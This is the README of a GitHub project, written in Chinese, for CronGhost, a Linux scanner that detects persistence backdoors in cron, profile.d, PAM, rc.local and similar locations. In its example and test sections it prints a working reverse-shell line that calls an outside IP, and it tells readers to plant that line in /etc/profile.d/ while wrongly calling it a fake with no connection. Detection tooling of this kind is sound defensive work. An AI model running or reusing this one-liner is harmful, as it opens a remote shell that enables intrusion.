Artist-22/cronghost

GitHub: Artist-22/cronghost

一款 Linux 持久化后门扫描工具,覆盖 14 个隐藏位置并支持三层检测和加密基线对比,帮助发现攻击者植入的自启动脚本和定时任务。

Stars: 0 | Forks: 0

# CronGhost ``` ____ ____ _ _ / ___|_ __ ___ _ __ / ___|| |__ ___ ___| |_ | | | '__/ _ \| '_ \| | _ | '_ \ / _ \/ __| __| | |___| | | (_) | | | | |_| || | | | (_) \__ \ |_ \____|_| \___/|_| |_|\____||_| |_|\___/|___/\__| Scheduled Task Shadow Scanner — v3.0.0 Created by Artist-22 ``` ## 什么是 CronGhost? CronGhost 是一款 Linux 安全工具,用于检测系统中的恶意计划任务、隐藏的自启动脚本以及攻击者植入的持久化机制。 大多数安全工具只检查显眼的位置 —— 例如 `/etc/crontab` 和少数 cron 文件夹。攻击者深知这一点,因此他们隐藏在扫描器从不检查的其他 10 个位置。 CronGhost 会检查所有 14 个位置。 ## 它解决的问题 当攻击者攻陷一台 Linux 系统时,他们总是会植入一个**持久化机制** —— 一个自动运行的隐藏脚本,这样即使密码被更改或初始漏洞被修补,他们仍然可以卷土重来。 这些持久化脚本隐藏在大多数管理员从未查看的位置: ``` /etc/profile.d/ runs on every single user login /etc/pam.d/ runs on every authentication event /etc/rc.local runs at every system boot XDG autostart runs when the desktop starts systemd timers runs on a schedule invisibly ``` 一个真实的攻击案例 —— 一家公司在遭遇入侵后彻底重置了服务器。更改了所有密码。重新安装了服务。两天后,攻击者再次现身。为什么?因为他们的持久化脚本在 `/etc/profile.d/` 中幸存了下来 —— 一个没人想到要检查的位置。而 CronGhost 本可以在 3 秒内发现它。 ## CronGhost 扫描的 14 个位置 | # | 位置 | 攻击者使用原因 | |---|---|---| | 1 | `/etc/crontab` | 系统级 cron 作业 | | 2 | `/var/spool/cron/crontabs/` | 用户级 cron 作业 | | 3 | `/etc/cron.d/` | 应用程序 cron 投放文件夹 | | 4 | `/etc/cron.daily/` | 每天自动运行 | | 5 | `/etc/cron.hourly/` | 每小时自动运行 | | 6 | `/etc/cron.weekly/` | 每周自动运行 | | 7 | `/etc/cron.monthly/` | 每月自动运行 | | 8 | `/etc/anacrontab` | 重启后运行错过的作业 | | 9 | `systemd timers` | 现代化的隐形调度器 | | 10 | `/etc/profile.d/` | **每次登录时运行 —— 最易被忽视** | | 11 | `/etc/environment` | Shell 启动前加载 | | 12 | `PAM exec module` | **每次认证时运行** | | 13 | `/etc/rc.local` | 每次启动时运行 | | 14 | `XDG autostart` | 静默针对工作站 | 位置 10 到 14 是真实攻击者藏身的地方,因为没有基础扫描器会检查它们。 ## 三层检测机制 CronGhost 采用分层检测方法,让即使是高级攻击者也无法藏身。 ### 第 1 层 —— 模式检测 扫描文件内容以查找已知攻击模式 —— 反向 Shell、下载并执行 Payload、编码命令、可疑文件路径。能立即捕获脚本小子(Script Kiddie)和中级攻击者。 ### 第 2 层 —— 智能分析 超越简单的模式匹配。检查: - **包管理器验证** —— 该文件是由 `apt` 安装的,还是有人手动投放的? - **文件年龄分析** —— 该文件是否创建于凌晨 2 点无人监管之时? - **所有者验证** —— 该文件是否由意外用户所有? - **修改检测** —— 该系统文件自安装以来是否被更改过? 每项发现都会获得一个 0 到 100 的**置信度评分**。低置信度的发现会被自动过滤 —— 没有噪音,只有真实的威胁。 ### 第 3 层 —— 加密基线 最强大的层级。在首次运行时,CronGhost 会将每个持久化位置的每个文件快照为 **SHA256 加密哈希**。随后的每次扫描都会与该快照进行比对。 如果任何文件发生更改 —— 哪怕只有一个字节 —— CronGhost 都会以 **90% 的置信度**报告它。攻击者可以欺骗模式扫描器,但无法欺骗数学。 ``` Run 1 (clean system) → baseline created every file hashed and saved Run 2 (after attack) → attacker dropped /etc/profile.d/backdoor.sh CronGhost: [CRITICAL] NEW FILE — not in baseline Confidence: 85% ``` ## 真实世界示例 **攻击行为:** ``` # 攻击者植入一个每次登录时运行的 reverse shell echo 'bash -i >& /dev/tcp/185.220.101.42/4444 0>&1' > /etc/profile.d/updater.sh ``` **CronGhost 捕获结果:** ``` [!!] 10/14 /etc/profile.d/ critical [CRITICAL] /etc/profile.d/updater.sh Confidence [████████████████████] 95% Package NOT in dpkg — manually placed Owner root File age created 2026-03-21 02:14 ODD HOUR Content hits [HIGH] +90 bash -i >& /dev/tcp/ classic reverse shell Baseline NEW FILE — did not exist in baseline ``` ## 安装说明 ### 系统要求 - Linux (Kali, Ubuntu, Debian 或任何基于 Debian 的发行版) - Python 3.6 或更高版本 - Root 权限 - `python3-pillow` 用于图标生成(自动安装) ### 安装步骤 ``` # Clone the repository git clone https://github.com/ARTIST/cronghost.git # Enter the folder cd cronghost # Run the installer sudo bash install.sh ``` 安装程序会自动: - 将 CronGhost 安装为系统命令 - 生成并安装自定义图标 - 将 CronGhost 添加到 Kali 应用程序菜单 - 创建用于存储基线的数据目录 ### 运行方式 ``` sudo cronghost ``` 就是这样。无需标志、无需配置文件、无需设置。直接运行即可。 ## 首次设置 当你首次在干净的系统上运行 CronGhost 时: ``` 1. Run: sudo cronghost 2. Choose option 4 — Create baseline 3. Wait for it to hash all files (takes a few seconds) 4. Done — your clean system is now on record ``` 此后的每次扫描都会与你的基线进行比对。任何新文件、任何修改过的文件、任何被删除的文件 —— CronGhost 都能立即察觉。 ## 使用方法 ``` Options: 1) Run scan again 2) Export report to file 3) Update baseline with current system state 4) Create baseline (first time setup) 5) Quit ``` ### 导出报告 选择选项 2 以导出完整的文本报告: ``` cronghost_report_20260321_035116.txt ``` 报告包含每项发现的完整详情 —— 文件路径、威胁评分、置信度、包管理器验证、文件年龄、所有者以及所有匹配的模式。 ## 输出解读 ### 扫描行状态 ``` [OK] — location is clean [!!] — suspicious or critical finding [??] — low confidence finding, worth reviewing ``` ### 判定等级 ``` [CRITICAL] — confidence 80%+ act immediately [SUSPICIOUS] — confidence 60%+ investigate this [LOW] — confidence below 60% monitor it ``` ### 置信度条 ``` [████████████████████] 95% ← almost certainly malicious [████████░░░░░░░░░░░░] 40% ← suspicious but check manually [████░░░░░░░░░░░░░░░░] 20% ← low risk, probably safe ``` ### 基线警报 ``` [CHANGED] file content changed since your clean snapshot [NEW FILE] file did not exist when baseline was created [DELETED] file existed in baseline but is now gone ``` ## CronGhost 的独特之处 | 功能 | 基础 cron 扫描器 | CronGhost | |---|---|---| | 检查位置 | 4-7 | **14** | | 误报过滤 | 无 | 智能白名单 + 置信度评分 | | 包管理器检查 | 无 | **有 —— dpkg 验证** | | 加密基线 | 无 | **有 —— SHA256 逐文件** | | 修改检测 | 无 | **有 —— 字节级** | | 置信度评分 | 无 | **有 —— 0 到 100%** | | Kali 应用菜单集成 | 无 | **有 —— 含自定义图标** | | 层级系统 | 无 | **有 —— 第 1, 2, 3 层** | ## 测试 CronGhost 想验证它是否有效?植入一个伪造的恶意条目,观察 CronGhost 捕获它: ``` # 植入一个 fake reverse shell(安全测试 — 无实际连接) sudo bash -c 'echo "bash -i >& /dev/tcp/185.220.101.42/4444 0>&1" > /etc/profile.d/test_backdoor.sh' # Run CronGhost — 它将标记为 CRITICAL sudo cronghost # 测试后 Clean up sudo rm /etc/profile.d/test_backdoor.sh # 再次 Run — 应显示一切正常 sudo cronghost ``` ## 卸载说明 ``` cd cronghost sudo bash uninstall.sh ``` 这将删除所有文件、图标、应用程序菜单条目以及基线数据。 ## 开发路线图 - [ ] 检测到关键发现时发送邮件警报 - [ ] Daemon 模式 —— 在后台 24/7 静默运行 - [ ] ProcessBlood —— 进程族谱攻击检测器 - [ ] SocketLie —— 套接字真实性验证器 - [ ] EnvPoison —— 环境变量感染扫描器 - [ ] 统一套件 —— 所有工具集成于一个安装程序 ## 适用人群 - 审计 Linux 系统的安全研究人员 - 保护生产服务器的系统管理员 - 验证自身持久化检测能力的渗透测试人员 - 学习 Linux 安全和取证的学生 - 任何想知道自己 Linux 系统是否已被入侵的人 ## 法律与合规使用 CronGhost 旨在用于您拥有或拥有明确书面审计许可的系统。对您不拥有或无权测试的系统使用此工具是非法且不道德的。 作者不对滥用行为承担责任。 ## 许可证 CronGhost 受自定义限制许可证保护。 ``` ✅ You can download and use CronGhost ✅ You can use it for personal and professional security auditing ✅ You can share the link to this repository ❌ You cannot copy or redistribute the source code ❌ You cannot build another tool based on this code ❌ You cannot sell or commercially exploit CronGhost ❌ You cannot claim ownership or co-authorship ``` 有关完整条款,请参阅 `LICENSE` 文件。 ## 作者 **Artist-22** GitHub: [@Artist-22](https://github.com/Artist-22) *CronGhost —— 因为持久化是致命的。尽早发现它。*
标签:Cron作业, Cutter, PB级数据处理, Systemd定时器, TGT, 关系图谱, 后门扫描, 嗅探欺骗, 基线检查, 安全运维, 持久化检测, 攻防演练, 权限维持, 系统加固, 自动化运维, 计划任务检测, 逆向工具